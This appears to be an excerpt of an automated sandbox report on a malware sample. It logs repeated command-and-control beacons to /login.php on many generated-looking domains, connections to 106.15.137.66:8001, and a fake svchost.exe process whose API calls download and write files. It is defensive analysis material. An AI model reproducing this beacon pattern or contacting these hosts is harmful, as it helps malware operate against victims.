Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyciz.comContent-Length: 6Cookie: btst=d106e65ece3c227125fd2b7f88318a22|8.46.123.33|1724431386|1724431386|0|1|0; snkz=8.46.123.33Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vofycot.comContent-Length: 6Cookie: __tad=1724431387.3029143Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyxynyx.comContent-Length: 6Cookie: __tad=1724431387.5010053Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qexyhuv.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php?sub1=20240824-0244-0577-915a-f20bc3a7af60 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww16.vofycot.comConnection: Keep-AliveCookie: __tad=1724431387.3029143Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcb HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww25.lyxynyx.comConnection: Keep-AliveCookie: __tad=1724431387.5010053Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownTCP traffic detected without corresponding DNS query: 106.15.137.66
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D14680 memset,GetProcessHeap,HeapAlloc,memset,memcpy,InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpAddRequestHeadersA,HttpAddRequestHeadersA,HttpAddRequestHeadersA,_snprintf,HttpAddRequestHeadersA,HttpSendRequestA,HttpQueryInfoA,CreateFileA,GetProcessHeap,GetProcessHeap,HeapAlloc,memset,InternetReadFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetHandleInformation,CloseHandle,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,2_2_02D14680
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyfyj.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-AliveData Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET / HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww1.lysyfyj.comConnection: Keep-AliveCookie: sid=a5fae49c-616e-11ef-add0-e1f04491a098Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupycag.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /dh/147287063_637385.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.137.66:8001Connection: Keep-AliveData Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyrysor.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /dh/147287063_637385.html HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: 106.15.137.66:8001Connection: Keep-AliveData Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: pupydeq.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lysyvan.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galynuh.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyciz.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyxynyx.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qexyhuv.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vofycot.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php?subid1=20240824-0243-071d-8c4b-3f42cf5256c3 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww25.lyxynyx.comConnection: Keep-AliveCookie: __tad=1724431387.5010053Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyval.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php?sub1=20240824-0243-077d-8f61-d4c58a818681 HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: ww16.vofycot.comConnection: Keep-AliveCookie: __tad=1724431387.3029143Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qexyhuv.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyhyg.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyhub.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyhub.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lygyvuj.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
Source: global trafficHTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyhiz.comContent-Length: 6Data Raw: 9e 84 b5 e8 71 28 Data Ascii: q(
